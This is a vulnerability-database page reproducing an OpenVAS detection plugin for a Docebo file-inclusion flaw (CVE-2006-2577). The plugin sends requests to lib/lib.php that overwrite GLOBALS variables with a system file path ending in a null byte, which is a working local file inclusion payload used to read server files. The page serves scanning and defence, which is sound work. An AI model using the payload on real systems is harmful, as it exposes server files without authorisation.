Lucene search
+L

Docebo GLOBALS Variable Overwrite Vulnerability (Aug 2008)

🗓️ 22 Aug 2008 00:00:00Reported by Copyright (C) 2008 Ferdy RiphagenType 
openvas
 openvas
🔗 plugins.openvas.org👁 33 Views

Docebo GLOBALS Variable Overwrite Vulnerability. PHP application vulnerable to remote and local file inclusions

Related
Refs
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2006-2577
24 May 200623:00
cve
cvelist
Cvelist
CVE-2006-2577
24 May 200623:00
cvelist
nessus
Tenable Nessus
Docebo GLOBALS Variable Overwrite Remote File Inclusion
17 Aug 200600:00
nessus
exploitdb
Exploit DB
Docebo 3.0.3 - Multiple Remote File Inclusions
23 May 200600:00
exploitdb
euvd
EUVD
EUVD-2006-2577
7 Oct 202500:30
euvd
nvd
NVD
CVE-2006-2577
24 May 200623:02
nvd
openvas
OpenVAS
Docebo GLOBALS Variable Overwrite Vulnerability
22 Aug 200800:00
openvas
prion
Prion
Remote file inclusion
24 May 200623:02
prion
# SPDX-FileCopyrightText: 2008 Ferdy Riphagen
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

# Original advisory / discovered by :
# http://milw0rm.com/exploits/1817

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.200011");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2008-08-22 16:09:14 +0200 (Fri, 22 Aug 2008)");
  script_tag(name:"cvss_base", value:"5.1");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2006-2576", "CVE-2006-2577");
  script_xref(name:"OSVDB", value:"25757");
  script_name("Docebo GLOBALS Variable Overwrite Vulnerability (Aug 2008)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2008 Ferdy Riphagen");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl",
                      "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl",
                      "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"solution", value:"Disable PHP's register_globals and/or upgrade to a newer PHP
  release.");

  script_tag(name:"summary", value:"Docebo is prone to vulnerable remote and local file inclusion
  vulnerabilities.");

  script_tag(name:"insight", value:"By using a flaw in some PHP versions (PHP4 <= 4.4.0 and PHP5 <=
  5.0.5) it is possible to include files by overwriting the $GLOBALS variable.

  This flaw exists if PHP's register_globals is enabled.");

  script_xref(name:"URL", value:"http://secunia.com/advisories/20260/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/18109");
  script_xref(name:"URL", value:"http://www.hardened-php.net/advisory_202005.79.html");
  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("traversal_func.inc");

success = FALSE;

port = http_get_port(default:80);
if (!http_can_host_php(port:port))
  exit(0);

files = traversal_files();

host = http_host_name(port:port);

foreach dir(make_list_unique("/doceboLms", "/doceboKms", "/doceboCms", "/doceboCore", http_cgi_dirs(port:port))) {

  if(dir == "/")
    dir = "";

  res = http_get_cache(item:string(dir, "/index.php"), port:port);

  if (egrep(pattern:"^Set-Cookie:.+docebo_session=", string:res) ||
      egrep(pattern:'title="Powered by Docebo(KMS|LMS|CMS)"', string:res) ||
      egrep(pattern:"powered_by.+<a href[^/]+\/\/www\.docebo\.org", string:res)) {

    foreach pattern(keys(files)) {

      uri = "/lib/lib.php";
      globals[0] = "GLOBALS[where_framework]=";
      globals[1] = "GLOBALS[where_lms]=";
      lfile = "/" + files[pattern];

      for(n = 0; globals[n]; n++) {
        req = http_get(item:string(dir, uri, "?", globals[n], lfile, "%00"), port:port);
        recv = http_keepalive_send_recv(data:req, port:port, bodyonly:1);

        if (egrep(pattern:pattern, string:recv)) {
          n++;
          success = TRUE;
          path += string("http://", host, dir, "\n");
        }
      }
    }
  }
}

if (success) {
  report = string("Below the full path to the vulnerable Docebo application(s):\n\n", path);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation